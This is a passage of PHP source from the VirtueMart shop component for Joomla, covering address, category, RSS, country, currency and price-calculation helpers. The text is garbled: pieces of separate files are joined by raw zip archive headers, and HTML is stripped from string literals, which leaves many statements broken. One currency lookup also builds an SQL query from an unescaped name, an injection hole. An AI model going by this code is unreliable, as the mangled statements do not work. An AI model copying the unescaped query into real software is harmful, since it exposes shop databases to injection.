empty($_addressList[0]->address_type_name)) { return JText::_ ('COM_VIRTUEMART_USER_NOSHIPPINGADDR'); } else { $_shipTo = array(); $useXHTTML = empty($view->useXHTML) ? false : $view->useXHTML; $useSSL = empty($view->useSSL) ? FALSE : $view->useSSL; for ($_i = 0; $_i < count ($_addressList); $_i++) { if (empty($_addressList[$_i]->virtuemart_user_id)) { $_addressList[$_i]->virtuemart_user_id = JFactory::getUser ()->id; } if (empty($_addressList[$_i]->virtuemart_userinfo_id)) { $_addressList[$_i]->virtuemart_userinfo_id = 0; } if (empty($_addressList[$_i]->address_type_name)) { $_addressList[$_i]->address_type_name = 0; } $_shipTo[] = '
    • ' . '' . $_addressList[$_i]->address_type_name . ' ' ; $_shipTo[] = '  '.JText::_('COM_VIRTUEMART_USER_DELETE_ST').'
    • '; } $addLink = ' '; $addLink .= JText::_ ('COM_VIRTUEMART_USER_FORM_ADD_SHIPTO_LBL') . ' '; return $addLink . '
        ' . join ('', $_shipTo) . '
      '; } } /** * used mostly in the email, to display the vendor address * Attention, this function will be removed from any view.html.php * * @static * @param $vendorId * @param string $lineSeparator * @param array $skips * @return string */ static public function renderVendorAddress ($vendorId,$lineSeparator="
      ", $skips = array('name','username','email','agreed')) { $vendorModel = VmModel::getModel('vendor'); $vendorModel->setId($vendorId); $vendorFields = $vendorModel->getVendorAddressFields($vendorId); $vendorAddress = ''; foreach ($vendorFields['fields'] as $field) { if(in_array($field['name'],$skips)) continue; if (!empty($field['value'])) { $vendorAddress .= $field['value']; if ($field['name'] != 'title' and $field['name'] != 'first_name' and $field['name'] != 'middle_name' and $field['name'] != 'zip') { $vendorAddress .= $lineSeparator; } else { $vendorAddress .= ' '; } } } return $vendorAddress; } public static $counter = 0; public static $categoryTree = 0; static public function categoryListTree ($selectedCategories = array(), $cid = 0, $level = 0, $disabledFields = array()) { if (empty(self::$categoryTree)) { // vmTime('Start with categoryListTree'); $cache = JFactory::getCache ('com_virtuemart_cats'); $cached = $cache->getCaching(); $cache->setCaching (1); self::$categoryTree = $cache->call (array('ShopFunctions', 'categoryListTreeLoop'), $selectedCategories, $cid, $level, $disabledFields); $cache->setCaching ($cached); // self::$categoryTree = self::categoryListTreeLoop($selectedCategories, $cid, $level, $disabledFields); // vmTime('end loop categoryListTree '.self::$counter); } return self::$categoryTree; } /** * Get feed * @author valerie isaksen * @param $rssUrl * @param $max * @return mixed */ static public function getCPsRssFeed($rssUrl,$max) { $cache_time=86400*3; // 3days $cache = JFactory::getCache ('com_virtuemart_rss'); $cached = $cache->getCaching(); $cache->setLifeTime($cache_time); $cache->setCaching (1); $feeds = $cache->call (array('ShopFunctions', 'getRssFeed'), $rssUrl, $max); $cache->setCaching ($cached); return $feeds; } /** * @author Valerie Isaksen * Returns the RSS feed from Extensions.virtuemart.net * @return mixed */ public static $extFeeds = 0; static public function getExtensionsRssFeed() { if (empty(self::$extFeeds)) { self::$extFeeds = ShopFunctions::getCPsRssFeed("http://extensions.virtuemart.net/?format=feed&type=rss", 15); } return self::$extFeeds; } /** * @author Valerie Isaksen * Returns the RSS feed from virtuemart.net * @return mixed */ public static $vmFeeds = 0; static public function getVirtueMartRssFeed() { if (empty(self::$vmFeeds)) { self::$vmFeeds = ShopFunctions::getCPsRssFeed("http://virtuemart.net/news/list-all-news?format=feed&type=rss", 5); } return self::$vmFeeds; } static public function getRssFeed ($rssURL,$max) { jimport('simplepie.simplepie'); $rssFeed = new SimplePie($rssURL); $feeds = array(); $count = $rssFeed->get_item_quantity(); $limit=min($max,$count); for ($i = 0; $i < $limit; $i++) { $feed = new StdClass(); $item = $rssFeed->get_item($i); $feed->link = $item->get_link(); $feed->title = $item->get_title(); $feed->description = $item->get_description(); $feeds[] = $feed; } return $feeds; } /** * Creates structured option fields for all categories * * @todo: Connect to vendor data * @author Max Milbers, jseros * @param array $selectedCategories All category IDs that will be pre-selected * @param int $cid Internally used for recursion * @param int $level Internally used for recursion * @return string $category_tree HTML: Category tree list */ static public function categoryListTreeLoop ($selectedCategories = array(), $cid = 0, $level = 0, $disabledFields = array()) { self::$counter++; static $categoryTree = ''; $virtuemart_vendor_id = 1; // vmSetStartTime('getCategories'); $categoryModel = VmModel::getModel ('category'); $level++; $categoryModel->_noLimit = TRUE; $app = JFactory::getApplication (); $records = $categoryModel->getCategories ($app->isSite (), $cid); // vmTime('getCategories','getCategories'); $selected = ""; if (!empty($records)) { foreach ($records as $key => $category) { $childId = $category->category_child_id; if ($childId != $cid) { if (in_array ($childId, $selectedCategories)) { $selected = 'selected=\"selected\"'; } else { $selected = ''; } $disabled = ''; if (in_array ($childId, $disabledFields)) { $disabled = 'disabled="disabled"'; } if ($disabled != '' && stristr ($_SERVER['HTTP_USER_AGENT'], 'msie')) { //IE7 suffers from a bug, which makes disabled option fields selectable } else { $categoryTree .= ''; } } if ($categoryModel->hasChildren ($childId)) { self::categoryListTreeLoop ($selectedCategories, $childId, $level, $disabledFields); } } } return $categoryTree; } /** * Return the countryname or code of a given countryID * * @author Oscar van Eijk * @access public * @param int $id Country ID * @param char $fld Field to return: country_name (default), country_2_code or country_3_code. * @return string Country name or code */ static public function getCountryByID ($id, $fld = 'country_name') { if (empty($id)) { return ''; } $id = (int)$id; $db = JFactory::getDBO (); $q = 'SELECT ' . $db->getEscaped ($fld) . ' AS fld FROM `#__virtuemart_countries` WHERE virtuemart_country_id = ' . (int)$id; $db->setQuery ($q); return $db->loadResult (); } /** * Return the virtuemart_country_id of a given country name * * @author Oscar van Eijk * @author Max Milbers * @access public * @param string $name Country name (can be country_name or country_3_code or country_2_code ) * @return int virtuemart_country_id */ static public function getCountryIDByName ($name) { if (empty($name)) { return 0; } $db = JFactory::getDBO (); if (strlen ($name) === 2) { $fieldname = 'country_2_code'; } else { if (strlen ($name) === 3) { $fieldname = 'country_3_code'; } else { $fieldname = 'country_name'; } } $q = 'SELECT `virtuemart_country_id` FROM `#__virtuemart_countries` WHERE `' . $fieldname . '` = "' . $db->getEscaped ($name) . '"'; $db->setQuery ($q); $r = $db->loadResult (); return $r; } /** * Return the statename or code of a given virtuemart_state_id * * @author Oscar van Eijk * @access public * @param int $id State ID * @param char $fld Field to return: state_name (default), state_2_code or state_3_code. * @return string state name or code */ static public function getStateByID ($id, $fld = 'state_name') { if (empty($id)) { return ''; } $db = JFactory::getDBO (); $q = 'SELECT ' . $db->getEscaped ($fld) . ' AS fld FROM `#__virtuemart_states` WHERE virtuemart_state_id = "' . (int)$id . '"'; $db->setQuery ($q); $r = $db->loadObject (); return $r->fld; } /** * Return the stateID of a given state name * * @author Max Milbers * @access public * @param string $name Country name * @return int virtuemart_state_id */ static public function getStateIDByName ($name) { if (empty($name)) { return 0; } $db = JFactory::getDBO (); if (strlen ($name) === 2) { $fieldname = 'state_2_code'; } else { if (strlen ($name) === 3) { $fieldname = 'state_3_code'; } else { $fieldname = 'state_name'; } } $q = 'SELECT `virtuemart_state_id` FROM `#__virtuemart_states` WHERE `' . $fieldname . '` = "' . $db->getEscaped ($name) . '"'; $db->setQuery ($q); $r = $db->loadResult (); return $r; } /* * Returns the associative array for a given virtuemart_calc_id * * @author Valérie Isaksen * @access public * @param int $id virtuemart_calc_id * @return array Result row */ static public function getTaxByID ($id) { if (empty($id)) { return ''; } $id = (int)$id; $db = JFactory::getDBO (); $q = 'SELECT * FROM `#__virtuemart_calcs` WHERE virtuemart_calc_id = ' . (int)$id; $db->setQuery ($q); return $db->loadAssoc (); } /** * Return any field from table '#__virtuemart_currencies' * * @author Valérie Isaksen * @access public * @param int $id Currency ID * @param char $fld Field from table '#__virtuemart_currencies' to return: currency_name (default), currency_code_2, currency_code_3 etc. * @return string Currency name or code */ static public function getCurrencyByID ($id, $fld = 'currency_name') { if (empty($id)) { return ''; } static $currencyNameById = array(); if(!isset($currencyNameById[$id][$fld])){ $id = (int)$id; $db = JFactory::getDBO (); $q = 'SELECT ' . $db->getEscaped ($fld) . ' AS fld FROM `#__virtuemart_currencies` WHERE virtuemart_currency_id = ' . (int)$id; $db->setQuery ($q); $currencyNameById[$id][$fld] = $db->loadResult (); } return $currencyNameById[$id][$fld]; } /** * Return the currencyID of a given Currency name * This function becomes dangerous if there is a currency name with 3 letters * @author Valerie Isaksen, Max Milbers * @access public * @param string $name Currency name * @return int virtuemart_currency_id */ static public function getCurrencyIDByName ($name) { if (empty($name)) { return 0; } static $currencyIdByName = array(); if(!isset($currencyIdByName[$name])){ $db = JFactory::getDBO (); if (strlen ($name) === 2) { $fieldname = 'currency_code_2'; } else { if (strlen ($name) === 3) { $fieldname = 'currency_code_3'; } else { $fieldname = 'currency_name'; } } $q = 'SELECT `virtuemart_currency_id` FROM `#__virtuemart_currencies` WHERE `' . $fieldname . '` = "' . ($name) . '"'; $db->setQuery ($q); $currencyIdByName[$name] = $db->loadResult (); } return $currencyIdByName[$name]; } /** * Print a select-list with enumerated categories * * @author jseros * * @param boolean $onlyPublished Show only published categories? * @param boolean $withParentId Keep in mind $parentId param? * @param integer $parentId Show only its childs * @param string $attribs HTML attributes for the list * @return string " . ""; $html[] = $tmp; } return $html; } function checkboxList ($arr, $tag_name, $tag_attribs, $key = 'value', $text = 'text', $selected = NULL, $required = 0) { return "\n\t" . implode ("\n\t", vmCommonHTML::checkboxListArr ($arr, $tag_name, $tag_attribs, $key, $text, $selected, $required)) . "\n"; } function checkboxListTable ($arr, $tag_name, $tag_attribs, $key = 'value', $text = 'text', $selected = NULL, $cols = 0, $rows = 0, $size = 0, $required = 0) { $cellsHtml = self::checkboxListArr ($arr, $tag_name, $tag_attribs, $key, $text, $selected, $required); return self::list2Table ($cellsHtml, $cols, $rows, $size); } // private methods: private function list2Table ($cellsHtml, $cols, $rows, $size) { $cells = count ($cellsHtml); if ($size == 0) { $localstyle = ""; //" style='width:100%'"; } else { $size = (($size - ($size % 3)) / 3) * 2; // int div 3 * 2 width/heigh ratio $localstyle = " style='width:" . $size . "em;'"; } $return = ""; if ($cells) { if ($rows) { $return = "\n\t"; $cols = ($cells - ($cells % $rows)) / $rows; // int div if ($cells % $rows) { $cols++; } $lineIdx = 0; for ($lineIdx = 0; $lineIdx < min ($rows, $cells); $lineIdx++) { $return .= "\n\t\t"; for ($i = $lineIdx; $i < $cells; $i += $rows) { $return .= ""; } $return .= "\n"; } $return .= "\t
      " . $cellsHtml[$i] . "
      \n"; } else { if ($cols) { $return = "\n\t"; $idx = 0; while ($cells) { $return .= "\n\t\t"; for ($i = 0, $n = min ($cells, $cols); $i < $n; $i++, $cells--) { $return .= ""; } $return .= "\n"; } $return .= "\t
      " . $cellsHtml[$idx++] . "
      \n"; } else { $return = "\n\t" . implode ("\n\t ", $cellsHtml) . "\n"; } } } return $return; } /** * Return $str with all but $display_length at the end as asterisks. * * @author gday * * @access public * @param string $str The string to mask * @param int $display_length The length at the end of the string that is NOT masked * @param boolean $reversed When true, masks the end. Masks from the beginning at default * @return string The string masked by asteriks */ public function asteriskPad ($str, $display_length, $reversed = FALSE) { $total_length = strlen ($str); if ($total_length > $display_length) { if (!$reversed) { for ($i = 0; $i < $total_length - $display_length; $i++) { $str[$i] = "*"; } } else { for ($i = $total_length - 1; $i >= $total_length - $display_length; $i--) { $str[$i] = "*"; } } } return ($str); } /** * Return the icon to move an item UP * * @access public * @param int $i The row index * @param boolean $condition True to show the icon * @param string $task The task to fire * @param string $alt The image alternate text string * @return string Either the icon to move an item up or a space * @since 1.0 */ function orderUpIcon ($i, $condition = TRUE, $task = 'orderup', $alt = 'COM_VIRTUEMART_MOVE_UP', $enabled = TRUE) { $alt = JText::_ ($alt); $html = ' '; if ($i > 0) { if ($enabled) { $html = ''; $html .= ' ' . $alt . ''; $html .= ''; } else { $html = '' . $alt . ''; } } return $html; } /** * Return the icon to move an item DOWN * * @access public * @param int $i The row index * @param int $n The number of items in the list * @param boolean $condition True to show the icon * @param string $task The task to fire * @param string $alt The image alternate text string * @return string Either the icon to move an item down or a space * @since 1.0 */ function orderDownIcon ($i, $n, $condition = TRUE, $task = 'orderdown', $alt = 'Move Down', $enabled = TRUE) { $alt = JText::_ ($alt); $html = ' '; if ($i < $n - 1) { if ($enabled) { $html = ''; $html .= ' ' . $alt . ''; $html .= ''; } else { $html = '' . $alt . ''; } } return $html; } static function getValidProductFilterArray () { static $filterArray; if (!isset($filterArray)) { /* $filterArray = array('p.virtuemart_product_id', 'p.product_sku','pp.product_price','c.category_name','c.category_description', 'm.mf_name', 'l.product_s_desc', 'p.product_desc', 'p.product_weight', 'p.product_weight_uom', 'p.product_length', 'p.product_width', 'p.product_height', 'p.product_lwh_uom', 'p.product_in_stock', 'p.low_stock_notification', 'p.product_available_date', 'p.product_availability', 'p.product_special', 'p.created_on', 'p.modified_on', 'l.product_name', 'p.product_sales', 'p.product_unit', 'p.product_packaging', 'p.intnotes', 'l.metadesc', 'l.metakey', 'p.metarobot', 'p.metaauthor'); } */ $filterArray = array('product_name', '`p`.created_on', '`p`.product_sku', 'product_s_desc', 'product_desc','`l`.slug', 'category_name', 'category_description', 'mf_name', 'product_price', '`p`.product_special', '`p`.product_sales', '`p`.product_availability', '`p`.product_available_date', '`p`.product_height', '`p`.product_width', '`p`.product_length', '`p`.product_lwh_uom', '`p`.product_weight', '`p`.product_weight_uom', '`p`.product_in_stock', '`p`.low_stock_notification', '`p`.modified_on', '`p`.product_unit', '`p`.product_packaging', '`p`.virtuemart_product_id', 'pc.ordering'); //other possible fields //'p.intnotes', this is maybe interesting, but then only for admins or special shoppergroups // this fields leads to trouble, because we have this fields in product, category and manufacturer, // they are anyway making not a lot sense for orderby or search. //'l.metadesc', 'l.metakey', 'l.metarobot', 'l.metaauthor' } return $filterArray; } /** * Returns developer information for a plugin * Returns a 2 link with background image, should look like a button to open contact page or manual * * @static * @param $title string Title of the plugin * @param $intro string Intro text * @param $logolink url Url to logo images, use here the path and then as image names contact.png and manual.png * @param $developer string Name of the developer/company * @param $contactlink url Url to the contact form of the developer for support * @param $manlink url URL to the manual for this specific plugin * @return string */ static function display3rdInfo($title,$intro,$developer,$logolink,$contactlink,$manlink,$width='96px',$height='66px',$linesHeight='33px'){ $html = $intro; $html .= self::displayLinkButton(JText::sprintf('COM_VIRTUEMART_THRD_PARTY_CONTACT',$developer),$contactlink, $logolink.'/contact.png',$width,$height,$linesHeight); $html .='
      '; $html .= self::displayLinkButton(JText::sprintf('COM_VIRTUEMART_THRD_PARTY_MANUAL',$title),$manlink, $logolink.'/manual.png',$width,$height,$linesHeight); return $html; } static function displayLinkButton($title, $link, $bgrndImage,$width,$height,$linesHeight,$additionalStyles=''){ //$lineHeight = ((int)$height)/$lines; //vmdebug('displayLinkButton '.$height.' '.$lineHeight); $html = ''; return $html; } static $tested = False; static function checkSafePath($safePath=0){ if($safePath==0) { $safePath = VmConfig::get('forSale_path',0); if(self::$tested) return $safePath; } $warn = FALSE; $uri = JFactory::getURI(); $configlink = $uri->root() . 'administrator/index.php?option=com_virtuemart&view=config'; VmConfig::loadJLang('com_virtuemart'); if(empty($safePath)){ $warn = 'COM_VIRTUEMART_WARN_NO_SAFE_PATH_SET'; } else { $exists = JFolder::exists($safePath); if(!$exists){ $warn = 'COM_VIRTUEMART_WARN_SAFE_PATH_WRONG'; } else{ if(!is_writable( $safePath )){ VmConfig::loadJLang('com_virtuemart_config'); VmWarn('COM_VIRTUEMART_WARN_SAFE_PATH_NOT_WRITEABLE',JText::_('COM_VIRTUEMART_ADMIN_CFG_MEDIA_FORSALE_PATH'),$safePath,$configlink); } else { if(!is_writable(self::getInvoicePath($safePath) )){ VmConfig::loadJLang('com_virtuemart_config'); VmWarn('COM_VIRTUEMART_WARN_SAFE_PATH_INV_NOT_WRITEABLE',JText::_('COM_VIRTUEMART_ADMIN_CFG_MEDIA_FORSALE_PATH'),$safePath,$configlink); } } } } if($warn){ $suggestedPath=shopFunctions::getSuggestedSafePath(); VmConfig::loadJLang('com_virtuemart_config'); VmWarn($warn,JText::_('COM_VIRTUEMART_ADMIN_CFG_MEDIA_FORSALE_PATH'),$suggestedPath,$configlink); return FALSE; } return $safePath; } /* * get The invoice Folder Name * @return the invoice folder name */ static function getInvoiceFolderName() { return 'invoices' ; } /* * get The invoice path * @param $safePath the safepath from the config * @return the path where the invoice are stored */ static function getInvoicePath($safePath) { return $safePath.self::getInvoiceFolderName() ; } /* * Returns the suggested safe Path, used to store the invoices * @static * @return string: suggested safe path */ static public function getSuggestedSafePath() { $lastIndex= strrpos(JPATH_ROOT,DS); return substr(JPATH_ROOT,0,$lastIndex).DS.'vmfiles'; } /* * @author Valerie Isaksen */ static public function renderProductShopperList ($productShoppers) { $html = ''; $i=0; if(empty($productShoppers)) return ''; foreach ($productShoppers as $email => $productShopper) { $html .= ' ' . $productShopper['name'] . ' ' . $productShopper['email'] . ' ' . $productShopper['phone'] . ''; $first=TRUE; foreach ($productShopper['order_info'] as $order_info) { if (!$first) $html .= ''; $html .= ''; $html .= $order_info['quantity']; $html .= ''; $html .= ''; $html .= JText::_($order_info['order_item_status_name']); $html .= ' '; $uri = JFactory::getURI(); $link = $uri->root() . 'administrator/index.php?option=com_virtuemart&view=orders&task=edit&virtuemart_order_id=' . $order_info['order_id']; $html .= JHTML::_ ('link', $link, $order_info['order_number'], array('title' => JText::_ ('COM_VIRTUEMART_ORDER_EDIT_ORDER_NUMBER') . ' ' . $order_info['order_number'])); $first=FALSE; $html .= ' '; } $i = 1 - $i; } if (empty($html)) { $html = ' ' . JText::_ ('COM_VIRTUEMART_NO_SEARCH_RESULT') . ' '; } return $html; } static public function renderMetaEdit($obj){ $options = array( '' => JText::_('JGLOBAL_INDEX_FOLLOW'), 'noindex, follow' => JText::_('JGLOBAL_NOINDEX_FOLLOW'), 'index, nofollow' => JText::_('JGLOBAL_INDEX_NOFOLLOW'), 'noindex, nofollow' => JText::_('JGLOBAL_NOINDEX_NOFOLLOW'), 'noodp, noydir' => JText::_('COM_VIRTUEMART_NOODP_NOYDIR'), 'noodp, noydir, nofollow' => JText::_('COM_VIRTUEMART_NOODP_NOYDIR_NOFOLLOW'), ); $html = ' '.VmHTML::row('input','COM_VIRTUEMART_CUSTOM_PAGE_TITLE','customtitle',$obj->customtitle).' '.VmHTML::row('textarea','COM_VIRTUEMART_METAKEY','metakey',$obj->metakey,'class="inputbox"',80).' '.VmHTML::row('textarea','COM_VIRTUEMART_METADESC','metadesc',$obj->metadesc,'class="inputbox"',80).' '.VmHtml::row('selectList','COM_VIRTUEMART_METAROBOTS','metarobot',$obj->metarobot,$options).' '.VmHTML::row('input','COM_VIRTUEMART_METAAUTHOR','metaauthor',$obj->metaauthor).'
      '; return $html; } } //pure php no tag PKs>\v  &com_virtuemart/helpers/vmtabledata.phpnuW+AsetLoggableFieldsForStore(); $this->storeParams(); $tblKey = $this->_tbl_key; $pKey = $this->_pkey; if($tblKey == $pKey){ $res = false; if(!empty($this->$tblKey)){ $_qry = 'SELECT `'.$this->_tbl_key.'` ' . 'FROM `'.$this->_tbl.'` ' . 'WHERE `'.$this->_tbl_key.'` = "' . $this->$tblKey.'" '; $this->_db->setQuery($_qry); $res = $this->_db->loadResult(); } if($res){ $returnCode = $this->_db->updateObject($this->_tbl, $this, $this->_tbl_key, $updateNulls); } else { $returnCode = $this->_db->insertObject($this->_tbl, $this, $this->_tbl_key); } } else { if(!empty($this->$pKey)){ $_qry = 'SELECT `'.$this->_tbl_key.'` ' . 'FROM `'.$this->_tbl.'` ' . 'WHERE `'.$this->_pkey.'` = "' . $this->$pKey.'" '; $this->_db->setQuery($_qry); //Yes, overwriting $this->$tblKey is correct ! $this->$tblKey = $this->_db->loadResult(); } if ( !empty($this->$tblKey) ) { $returnCode = $this->_db->updateObject($this->_tbl, $this, $this->_tbl_key, $updateNulls); } else { $returnCode = $this->_db->insertObject($this->_tbl, $this, $this->_tbl_key); } } // vmdebug('$_qry',$_qry,$pKey,$tblKey, $this->$tblKey); // vmError($_qry,'$_qry'); if (!$returnCode) { vmError(get_class($this) . '::store failed - ' . $this->_db->getErrorMsg()); return false; } else return true; } }PKs>\x.'com_virtuemart/helpers/calculationh.phpnuW+A_db = JFactory::getDBO(); $this->_app = JFactory::getApplication(); //We store in UTC and use here of course also UTC $jnow = JFactory::getDate(); $this->_now = $jnow->toMySQL(); $this->_nullDate = $this->_db->getNullDate(); //Attention, this is set to the mainvendor atm. //This means also that atm for multivendor, every vendor must use the shopcurrency as default // $this->vendorCurrency = 1; $this->productVendorId = 1; if (!class_exists('CurrencyDisplay') )require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'currencydisplay.php'); $this->_currencyDisplay = CurrencyDisplay::getInstance(); $this->_debug = false; if(!empty($this->_currencyDisplay->_vendorCurrency)){ $this->vendorCurrency = $this->_currencyDisplay->_vendorCurrency; $this->vendorCurrency_code_3 = $this->_currencyDisplay->_vendorCurrency_code_3; $this->vendorCurrency_numeric = $this->_currencyDisplay->_vendorCurrency_numeric; } /* else if(VmConfig::get('multix','none')!='none'){ $this->_db->setQuery('SELECT `vendor_currency` FROM #__virtuemart_vendors WHERE `virtuemart_vendor_id`="1" '); $single = $this->_db->loadResult(); $this->vendorCurrency = $single; }*/ $this->setShopperGroupIds(); $this->setVendorId($this->productVendorId); $this->rules['Marge'] = array(); $this->rules['Tax'] = array(); $this->rules['VatTax'] = array(); $this->rules['DBTax'] = array(); $this->rules['DATax'] = array(); //round only with internal digits $this->_roundindig = VmConfig::get('roundindig',FALSE); } static public function getInstance() { if (!is_object(self::$_instance)) { self::$_instance = new calculationHelper(); } else { //We store in UTC and use here of course also UTC $jnow = JFactory::getDate(); self::$_instance->_now = $jnow->toMySQL(); } return self::$_instance; } public function setVendorCurrency($id) { $this->vendorCurrency = $id; } //static $allrules= array(); var $allrules= array(); public function setVendorId($id){ $this->productVendorId = $id; //vmdebug('setVendorId $allrules '.$this->productVendorId,count($this->allrules)); if(empty($this->allrules[$this->productVendorId])){ $epoints = array("'Marge'","'Tax'","'VatTax'","'DBTax'","'DATax'"); $this->allrules[$this->productVendorId]['Marge'] = array(); $this->allrules[$this->productVendorId]['Tax'] = array(); $this->allrules[$this->productVendorId]['VatTax'] = array(); $this->allrules[$this->productVendorId]['DBTax'] = array(); $this->allrules[$this->productVendorId]['DATax'] = array(); $q = 'SELECT * FROM #__virtuemart_calcs WHERE `calc_kind` IN (' . implode(",",$epoints). ' ) AND `published`="1" AND (`virtuemart_vendor_id`="' . $this->productVendorId . '" OR `shared`="1" ) AND ( ( publish_up = "' . $this->_db->getEscaped($this->_nullDate) . '" OR publish_up <= "' . $this->_db->getEscaped($this->_now) . '" ) AND ( publish_down = "' . $this->_db->getEscaped($this->_nullDate) . '" OR publish_down >= "' . $this->_db->getEscaped($this->_now) . '" ) OR `for_override` = "1" )'; $this->_db->setQuery($q); $allrules = $this->_db->loadAssocList(); //By Maik, key of array is directly virtuemart_calc_id foreach ($allrules as $rule){ $this->allrules[$this->productVendorId][$rule["calc_kind"]][$rule["virtuemart_calc_id"]] = $rule; } } } public function getCartPrices() { return $this->_cartPrices; } public function setCartPrices($cartPrices) { $this->_cartPrices = $cartPrices; } public function setCartPricesMerge($cartPrices){ foreach($cartPrices as $k=>$item){ if($k===0) { vmdebug('setCartPricesMerge k === 0 ? item ',$item); continue; } if(isset($this->_cartPrices[$k]) and is_array($this->_cartPrices[$k])){ $this->_cartPrices[$k] = array_merge($this->_cartPrices[$k],$item); } else { $this->_cartPrices[$k] = $item; } } } public function getCartData() { return $this->_cartData; } protected function setShopperGroupIds($shopperGroupIds=0, $vendorId=1) { if (!empty($shopperGroupIds)) { $this->_shopperGroupId = $shopperGroupIds; } else { $user = JFactory::getUser(); $this->_shopperGroupId = array(); if (!empty($user->id)) { $this->_db->setQuery('SELECT `usgr`.`virtuemart_shoppergroup_id` FROM #__virtuemart_vmuser_shoppergroups as `usgr` JOIN `#__virtuemart_shoppergroups` as `sg` ON (`usgr`.`virtuemart_shoppergroup_id`=`sg`.`virtuemart_shoppergroup_id`) WHERE `usgr`.`virtuemart_user_id`="' . $user->id . '" AND `sg`.`virtuemart_vendor_id`="' . (int) $vendorId . '" '); $this->_shopperGroupId = $this->_db->loadResultArray(); if (empty($this->_shopperGroupId)) { $this->_db->setQuery('SELECT `virtuemart_shoppergroup_id` FROM #__virtuemart_shoppergroups WHERE `default`="'.($user->guest+1).'" AND `virtuemart_vendor_id`="' . (int) $vendorId . '"'); $this->_shopperGroupId = $this->_db->loadResultArray(); } } if(!$this->_shopperGroupId) $this->_shopperGroupId = array(); $shoppergroupmodel = VmModel::getModel('ShopperGroup'); $site = JFactory::getApplication ()->isSite (); $shoppergroupmodel->appendShopperGroups($this->_shopperGroupId,$user,$site,$vendorId); } } protected function setCountryState($cart=0) { if ($this->_app->isAdmin()) return; if (empty($cart)) { if (!class_exists('VirtueMartCart')) require(JPATH_VM_SITE . DS . 'helpers' . DS . 'cart.php'); $cart = VirtueMartCart::getCart(); } $this->_cart = $cart; $stBased = VmConfig::get('taxSTbased',TRUE); if ($stBased and !empty($this->_cart->ST['virtuemart_country_id'])) { $this->_deliveryCountry = (int)$this->_cart->ST['virtuemart_country_id']; } else if (!empty($this->_cart->BT['virtuemart_country_id'])) { $this->_deliveryCountry = (int)$this->_cart->BT['virtuemart_country_id']; } if ($stBased and !empty($this->_cart->ST['virtuemart_state_id'])) { $this->_deliveryState = (int)$this->_cart->ST['virtuemart_state_id']; } else if (!empty($cart->BT['virtuemart_state_id'])) { $this->_deliveryState = (int)$this->_cart->BT['virtuemart_state_id']; } //vmdebug('setCountryState state '.$this->_deliveryState,$this->_cart->BT); } /** function to start the calculation, here it is for the product * * The function first gathers the information of the product (maybe better done with using the model) * After that the function gatherEffectingRulesForProductPrice writes the queries and gets the ids of the rules which affect the product * The function executeCalculation makes the actual calculation according to the rules * * @copyright Copyright (c) 2009 VirtueMart Team. All rights reserved. * @author Max Milbers * @param int $product The product * @param int $catIds When the category is already determined, then it makes sense to pass it, if not the function does it for you * @return int $prices An array of the prices * 'basePrice' basePrice calculated in the shopcurrency * 'basePriceWithTax' basePrice with Tax * 'discountedPrice' before Tax * 'priceWithoutTax' price Without Tax but with calculated discounts AFTER Tax. So it just shows how much the shopper saves, regardless which kind of tax * 'discountAmount' the "you save X money" * 'salesPrice' The final price, with all kind of discounts and Tax, except stuff that is only in the checkout * */ public function getProductPrices($product, $variant=0.0, $amount=0, $ignoreAmount=true, $currencydisplay=true) { $costPrice = 0; //We already have the productobject, no need for extra sql if (is_object($product)) { $costPrice = isset($product->product_price)? $product->product_price:0; $this->productCurrency = isset($product->product_currency)? $product->product_currency:0; $override = isset($product->override)? $product->override:0; $product_override_price = isset($product->product_override_price)? $product->product_override_price:0; $this->product_tax_id = isset($product->product_tax_id)? $product->product_tax_id:0; $this->product_discount_id = isset($product->product_discount_id)? $product->product_discount_id:0; $productVendorId = !empty($product->virtuemart_vendor_id)? $product->virtuemart_vendor_id:1; $this->setVendorId($productVendorId); $this->_cats = $product->categories; $this->_product = $product; $this->_product->amount = $amount; $this->productPrices = array(); if(!isset($this->_product->quantity)) $this->_product->quantity = 1; $this->_manufacturerId = !empty($product->virtuemart_manufacturer_id) ? $product->virtuemart_manufacturer_id:0; } //Use it as productId else { vmError('getProductPrices no object given query time','getProductPrices no object given query time'); } if(VmConfig::get('multix','none')!='none' and (empty($this->vendorCurrency) or $this->vendorCurrency!=$this->productVendorId)){ $this->_db->setQuery('SELECT `vendor_currency` FROM #__virtuemart_vendors WHERE `virtuemart_vendor_id`="' . $this->productVendorId . '" '); $single = $this->_db->loadResult(); $this->vendorCurrency = $single; } if (!empty($amount)) { $this->_amount = $amount; } $this->setCountryState($this->_cart); //For Profit, margin, and so on $this->rules['Marge'] = $this->gatherEffectingRulesForProductPrice('Marge', $this->product_marge_id); $this->productPrices['costPrice'] = $costPrice; $basePriceShopCurrency = $this->roundInternal($this->_currencyDisplay->convertCurrencyTo((int) $this->productCurrency, $costPrice,true)); //vmdebug('my pure $basePriceShopCurrency',$costPrice,$this->productCurrency,$basePriceShopCurrency); $basePriceMargin = $this->roundInternal($this->executeCalculation($this->rules['Marge'], $basePriceShopCurrency)); $this->basePrice = $basePriceShopCurrency = $this->productPrices['basePrice'] = !empty($basePriceMargin) ? $basePriceMargin : $basePriceShopCurrency; if (!empty($variant)) { $basePriceShopCurrency = $basePriceShopCurrency + doubleval($variant); $this->productPrices['basePrice'] = $this->productPrices['basePriceVariant'] = $basePriceShopCurrency; } if (empty($this->productPrices['basePrice'])) { return $this->fillVoidPrices($this->productPrices); } if (empty($this->productPrices['basePriceVariant'])) { $this->productPrices['basePriceVariant'] = $this->productPrices['basePrice']; } $this->rules['Tax'] = $this->gatherEffectingRulesForProductPrice('Tax', $this->product_tax_id); $this->productPrices['basePriceWithTax'] = $this->roundInternal($this->executeCalculation($this->rules['Tax'], $this->productPrices['basePrice'], true),'basePriceWithTax'); $this->rules['VatTax'] = $this->gatherEffectingRulesForProductPrice('VatTax', $this->product_tax_id); if(!empty($this->rules['VatTax'])){ $price = !empty($this->productPrices['basePriceWithTax']) ? $this->productPrices['basePriceWithTax'] : $this->productPrices['basePrice']; $this->productPrices['basePriceWithTax'] = $this->roundInternal($this->executeCalculation($this->rules['VatTax'], $price,true),'basePriceWithTax'); } $this->rules['DBTax'] = $this->gatherEffectingRulesForProductPrice('DBTax', $this->product_discount_id); $this->productPrices['discountedPriceWithoutTax'] = $this->roundInternal($this->executeCalculation($this->rules['DBTax'], $this->productPrices['basePrice']),'discountedPriceWithoutTax'); if ($override==-1) { $this->productPrices['discountedPriceWithoutTax'] = $product_override_price; } $priceBeforeTax = !empty($this->productPrices['discountedPriceWithoutTax']) ? $this->productPrices['discountedPriceWithoutTax'] : 